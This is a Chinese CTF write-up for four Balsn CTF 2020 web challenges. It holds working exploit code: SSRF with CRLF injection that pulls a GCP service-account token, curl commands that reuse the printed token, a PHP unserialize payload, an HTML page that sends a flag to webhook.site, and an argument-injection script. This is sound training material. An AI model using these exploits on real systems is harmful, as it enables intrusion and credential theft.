2020 balsn ctf web 部分题解

2020 BalsnCTF web 部分题解

文章首发于安全客

题目文件:https://pan.baidu.com/s/1utpM99xbMNCX7m7J26WedQ
提取码:v7qg

tpc

http://35.194.175.80:8000/

题目说flag就在工作目录下并且不可以暴力猜解出文件名

试着file协议,发现可以任意文件读取,那么我们首先要做的是试着读取源文件

读取/proc/self/cmdline查看启动命令

/usr/local/bin/python /usr/local/bin/gunicorn main-dc1e2f5f7a4f359bb5ce1317a:app --bind 0.0.0.0:8000 --workers 5 --worker-tmp-dir /dev/shm --worker-class gevent --access-logfile - --error-logfile -

谷歌以下gunicorn的用法很容易知道源文件就是main-dc1e2f5f7a4f359bb5ce1317a.py

再读取/proc/self/environ查看环境变量

1
HOSTNAME=tpc-1PYTHON_PIP_VERSION=19.0.3SHLVL=1HOME=/home/ggGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binLANG=C.UTF-8PYTHON_VERSION=3.7.2PWD=/opt/workdir

于是就知道源文件在 /opt/workdir/main-dc1e2f5f7a4f359bb5ce1317a.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import urllib.request

from flask import Flask, request

app = Flask(__name__)


@app.route("/query")
def query():
site = request.args.get('site')
text = urllib.request.urlopen(site).read()
return text


@app.route("/")
def hello_world():
return "/query?site=[your website]"


if __name__ == "__main__":
app.run(debug=False, host="0.0.0.0", port=8000)

就提供了一个很简单的ssrf功能,那么为了找到下一步的思路,就必须收集更多信息,用字典fuzz一下得到以下关键信息

/proc/1/net/arp

1
2
3
4
172.17.0.4       0x1         0x0         00:00:00:00:00:00     *        docker0
172.17.0.3 0x1 0x0 00:00:00:00:00:00 * docker0
172.17.0.2 0x1 0x2 02:42:ac:11:00:02 * docker0
10.140.0.1 0x1 0x2 42:01:0a:8c:00:01 * eth0

/etc/hosts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# /etc/hosts: Local Host Database
#
# This file describes a number of aliases-to-address mappings for the for
# local hosts that share this file.
#
# In the presence of the domain name service or NIS, this file may not be
# consulted at all; see /etc/host.conf for the resolution order.
#

# IPv4 and IPv6 localhost aliases
127.0.0.1 localhost
::1 localhost

#
# Imaginary network.
#10.0.0.2 myname
#10.0.0.3 myfriend
#
# According to RFC 1918, you can use the following IP networks for private
# nets which will never be connected to the Internet:
#
# 10.0.0.0 - 10.255.255.255
# 172.16.0.0 - 172.31.255.255
# 192.168.0.0 - 192.168.255.255
#
# In case you want to be able to connect directly to the Internet (i.e. not
# behind a NAT, ADSL router, etc...), you need real official assigned
# numbers. Do not try to invent your own network numbers but instead get one
# from your network provider (if any) or from your regional registry (ARIN,
# APNIC, LACNIC, RIPE NCC, or AfriNIC.)
#
169.254.169.254 metadata.google.internal metadata

hosts文件里面添加了一条特殊的记录,谷歌一下发现里面存放着实例的一些数据

直接访问metadata.google.internal,得到:

0.1/ computeMetadata/

继续访问下一级目录发现500了

阅读文档得知要加入Metadata-Flavor: Google请求头

python的urlllib库之前爆出存在着CRLF的漏洞,利用这个来绕过

"http://35.194.175.80:8000/query?site=http://metadata.google.internal/PATH/%20HTTP/1.1%0d%0aMetadata-Flavor:%20Google%0d%0apadding:"

写个脚本读取所有数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

def req(parent,path):
burp0_url = "http://35.194.175.80:8000/query?site=http://metadata.google.internal"+parent+path+"%20HTTP/1.1%0d%0aMetadata-Flavor:%20Google%0d%0apadding:"
return requests.get(burp0_url)


def getInfo(parent,path):
r = req(parent,path)
if r.status_code == 500:
return
print(parent+path)
print(r.text)
print("----------------------------------------------------------------------")
if not path.endswith("/"):
return
child = r.text.splitlines()
parent=parent+path
for i in child:

getInfo(parent,i)

getInfo(parent="",path="/")

得到以下数据(只显示对题目有用的数据)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
----------------------------------------------------------------------
/computeMetadata/v1/project/project-id
balsn-ctf-2020-tpc
------------------------------------------------------------------
/computeMetadata/v1/instance/service-accounts/default/token
{"access_token":"ya29.c.KpcB5QdRi_ofZUDT6YcnsZrXwex0ocEfddkf1cL9qgsBVUuJI6xm7X__zkSxCc4jbw35HGJ2ZSbVUQljIKqOWbe_-q33It_9ip0sO15lH8usKPuj1I-vg2BHQeyizyWloiDf2vlRbL0EiZNaiKa3_tGFFEbxt9JrmsfYxWoN3_VOn3cqTbjNyEdj3-Xr3oQUiD0ESz0H2NS4Lg","expires_in":3147,"token_type":"Bearer"}
----------------------------------------------------------------------
/computeMetadata/v1/instance/service-accounts/default/scopes
https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write
https://www.googleapis.com/auth/servicecontrol
https://www.googleapis.com/auth/service.management.readonly
https://www.googleapis.com/auth/trace.append
----------------------------------------------------------------------
...

阅读文档来了解下载存储在服务器上的数据

1
2
3
4
5
6
7
8
9
10
11
12
#查询存储分区:
curl -X GET -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
"https://storage.googleapis.com/storage/v1/b?project=balsn-ctf-2020-tpc"

#查询存储对象
curl -X GET -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
"https://www.googleapis.com/storage/v1/b/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/o"

#下载对象:
curl -X GET -o "/tmp/obj1" -H "Authorization: Bearer ya29.c.KpcB5QezRL_BHhcBssfoC6rViLqbqi72L687AYtNLcDVGO2vf__MDx-Z-4X-j1Tk5iXmMZfpUvEpzwlIfl4RctiaZQa_mODL0KI5DqdyMic7E8WBGSi1GB4ViTLf-u8P155FfcteCoA_PVkWRt6phv_W_iFRsooJBLW7aRllZwP9Dx2-G1UVixDww-GUzLRbBN2CqT7HKp1AKA" \
"https://www.googleapis.com/download/storage/v1/b/asia.artifacts.balsn-ctf-2020-tpc.appspot.com/o/containers%2Fimages%2Fsha256:1c2e7c9e95b20a8dde6674890b722779c5a797d9d5968a9fa3a0ef89cd90f9b4?generation=1605158579380048&alt=media"

将所有对象下载下来后cat * | grep -a flag
获得flag路径:/opt/workdir/flag-6ba72dc9ffb518f5bcd92eee.txt

BALSN{What_permissions_does_the_service_account_need}

L5D

题目描述

「Taking L5D was a profound experience, one of the most important things in my life.」

Try this new Unserialize-Oriented Programming System a.k.a. L5D !

http://l5d.balsnctf.com:12345/index.php

PHP Version: 7.0.33

Author: kaibro

题目提供了源码,阅读后发现以下可能作为关键点的地方:

变量覆盖:

image6765

任意命令执行:

image6899

修改全局变量cmd

image7035

但是题目给反序列化的数据加上了一个限制:不能出现*(protect变量就需要*号)

实际测试一下发现,并不能用public,private的同名变量来代替protect变量,这是难点一

还有就是其他类的__wakeup方法会禁止我们通过L5D_Upload来任意变量覆盖,然后L5D_Upload又必须在其他的__destruct方法前执行,这是难点二

难点二我们可以通过最后一个调用L5D_Upload的__wakeup,第一个调用它的__destruct来绕过,因为__wakeup的调用顺序是从里到外,从前到后,__destruct的调用顺序是从外到内,从前到后,所以构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class L5D_Upload{
public $padding;
public function __construct()
{
$this->padding = new L5D_ResetCMD();
}

}
class L5D_ResetCMD {

public $padding;
protected $new_cmd = "cat /flag";
public function __construct()
{
$this->padding=new L5D_Command();
}

}
class L5D_Command{
}
new L5D_Upload();

接着就是难点一了,对*号的禁用导致我们不能直接反序列化一个protect属性的成员

但是我们可以用大写S来绕过:

可以利用大写S来绕过对protected,private等属性的字符检测如:

1
O:12:"L5D_ResetCMD":2:{s:7:"padding";O:11:"L5D_Command":0:{}S:10:"\00\2a\00new_cmd";s:9:"cat /flag";}

这样new_cmd就是protect属性了

最后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class L5D_Upload{
public $padding;
public function __construct()
{
$this->padding = new L5D_ResetCMD();
}

}
class L5D_ResetCMD {

public $padding;
protected $new_cmd = "cat /flag";
public function __construct()
{
$this->padding=new L5D_Command();
}

}
class L5D_Command{
}
$a=str_replace('s:10:"'."\x00*\x00",'S:10:"\00\2a\00',serialize(new L5D_Upload()));
echo urlencode ($a);

the woven web

看了Super⚔️Blue 的wp,只能说一句牛逼

其实原理很简单:让浏览器自动下载一个文件,然后file协议访问那个文件,那个文件就可以引用server.js,于是就有flag的值了

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from flask import Flask
app = Flask(__name__)

@app.route('/index.html')
def hello_world():
r = """
<html>
<head>
<script>
function require(a){
if(a=="express"){return ()=>{return {get:function(){},listen:function(){}}}
}
if(a=="redis"){
return {createClient:function(){}}
}
if(a=="fs"){
return {existsSync:function(){}};
}
}
</script>
<script src="../app/server.js">
</script>
<script>
fetch("https://webhook.site/X?a="+FLAG);
</script>
</head>
</html>
"""

return r,{"Content-Disposition":'attachment; filename="wtf22.html"'}

if(__name__=="__main__"):
app.run("0.0.0.0",4000)

Windows XP Media Player

还是看了Super⚔️Blue 的wp

应该静下心来做的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import requests
import time

host = "windows-xp-media-player.balsnctf.com"


def req(s, path):
return s.get("http://{}{}".format(host, path))


if __name__ == "__main__":
s1 = requests.Session()

# create a session
resp = req(s1, "/")

# use create playlist to generate the command `mkdir -p ./--output=/tmp/vakzz_in`
req(s1, "/?args=-p ./--output=/tmp/vakzz_in&op=create")

# also create a `-z` folder
req(s1, "/?args=./-z&op=create")

# use `--` so that the remaining args are not treated as options, will run `ls -- -z --output=/tmp/vakzz_in /flag/`
# since all of these folders exist ls will exit cleanly and add our args to the queue
req(s1, "/q/add?args=-- -z --output=/tmp/vakzz_in /flag/")

# remove the `--` from the queue
req(s1, "/q/skip")

# shuffle the queue which will run `shuf -e -z --output=/tmp/vakzz_in /flag/`
# this writes final argument as a null terminated string to the specified output file
req(s1, "/q/shuf")

# now /tmp/vakzz_in contains `/flag/\x00`

# rate limit
time.sleep(10)

# new session as need more playlists
s2 = requests.Session()
resp = req(s2, "/")

# create the folder `--files0-from=/tmp/vakzz_in` for option injection
req(s2, "/?args=-p ./--files0-from=/tmp/vakzz_in&op=create")

# create the folder `--exclude=flag?[1-9]*` for option injection
req(s2, "/?args=./--exclude=flag?[1-9]*&op=create")

# now `--files0-from=/tmp/vakzz_in` and `--exclude=flag?[1-9]*` are both in the names array and can be used in args

# use stat to run `du` with our injection options, causing it to look at folders from /tmp/vakzz_in and exclude
# anything that matches the supplied pattern: `du -sh --files0-from=/tmp/vakzz_in --exclude=flag?[1-9]*`
resp = req(s2, "/?args=--files0-from=/tmp/vakzz_in --exclude=flag?[1-9]*&op=stat")

# if the flag was excluded then this will return `8.0K /flag/` otherwise `16K /flag/`, letting us know if
# the flag starts with 0-9 or a-f.
print(resp.text.split('<div class="field-row"><label>')[2].split(" ")[0])

总结

反序列化在禁止\x00和*时,我们可以利用大写S来绕过对protected,private等属性的字符检测如:

1
O:12:"L5D_ResetCMD":2:{s:7:"padding";O:11:"L5D_Command":0:{}S:10:"\00\2a\00new_cmd";s:9:"cat /flag";}